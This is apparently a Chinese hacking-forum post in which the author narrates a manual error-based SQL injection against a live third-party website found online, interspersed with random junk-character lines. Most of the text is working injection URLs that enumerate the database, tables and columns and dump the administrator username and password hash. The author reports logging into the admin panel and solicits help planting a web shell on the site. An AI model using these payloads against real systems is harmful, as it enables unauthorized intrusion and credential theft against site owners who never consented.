近一直在学习数据库方面的知识,一直在钻研PHP的一些高级注入语法,感觉比较的有意思。于是就在网上找有洞的网站练习手注。于是有了下文。8 y+ ~; _2 b1 ], q$ `
首先找到网站后台,加了个admin,后台出来了 , c% ?% s" x- U: y/ c+ E% o5 e
' Y4 `; Y; [% S+ d* @: g% S/ Y3 ~, O9 i5 t7 c7 P: T+ H
然后看了下网站,发现貌似都是html静态网页,但是通过图片链接发现应该是伪静态,于是在后面加了个 ',报错了,初步判断可以注入1 l$ y6 |+ i9 L
http://www.myhack58.com/Article/UploadPic/2012-12/20121218145843714.jpg 从报错语句中我们可以判断出存在frame_board_conference 表,知道存在frame_board_conference,可以方便我们后面的注入。这里我用的是错误回显注入。 首先查下数据库相关信息。 www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*) from+frame_board_conference+group+by+concat(0x3a,concat(0x3a,database(),0x3a,version()),floor(rand(0)*2)))—4 r" @1 a1 ~9 k n* N. b$ W* ^
/ y0 H" H9 v' x# l9 ^( \( ?2 e3 Z" r. i0 n+ s
, d5 X1 |) d4 Y$ O: R0 m7 B
3 m: R9 L4 b S% I1 j( Bhttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846722.jpg$ E" \5 s; I# ?' T: x
+ {3 h0 s, l7 L4 T7 `& H
( s a, h* y6 C4 ~+ ^1 O
# K, ^3 a- }/ O% E# F' F1 G7 |* a% `5 P% |0 z5 u! S: U U5 n
可以看到数据库版本为5.0.32,存在information_schema表,可以进一步的注入。 然后我们查表 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(table_name),1,150)from+information_schema.tables+where+table_schema=database()),0x3a,floor(rand(0)*2)))-- 得到管理员表段frame_administrator
8 M/ [! D7 M5 F( f2 X
' N6 w! y5 r% u& [3 @, m
7 H" C" t/ r o$ Q! phttp://www.myhack58.com/Article/UploadPic/2012-12/20121218145846695.jpg
5 O9 V8 U: j% }: V. Z( l4 r
0 P( Y8 }$ I, o6 m
+ p1 T' M/ p1 n! n' r; Z% u 查字段 http://www.xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(column_name),1,150)from+information_schema.columns+where+table_name=0x6672616d655f61646d696e6973747261746f72),0x3a,floor(rand(0)*2)))--, c' R( |9 d3 S- F9 C) u6 z
5 X# ~ A i/ Y5 s2 \
9 W/ O" q. D( T9 h' N a* d% ?' t/ L+ D! T3 _+ x8 ?
得到userID,userPass字段 最后 http://xxx/modules/board/bd_view.html?id=conference&no=67+and+(select+count(*)+from+frame_board_conference+group+by+concat(0x3a,(select+substr(group_concat(userID,0x3a,userPass,0x0a),1,150)from+frame_administrator),0x3a,floor(rand(0)*2)))--
8 f9 ]+ ]& c1 j% }, A. e% y) Z& P s6 b9 K
% I8 ?5 Q- r+ U$ t2 K4 t _& F
# J; P1 g/ x; v8 I+ O3 C4 m 得到最终结果admin eb0a191797624dd3a48fa681d3061212 解密后成功进入后台,但是在获得shell的过程中出了点问题,可以穿php但是貌似无法解析,不知道什么原因,本人很菜,在这里希望大牛有兴趣的话帮忙拿下shell,感激不尽。Pm我,我把网址发给你。 |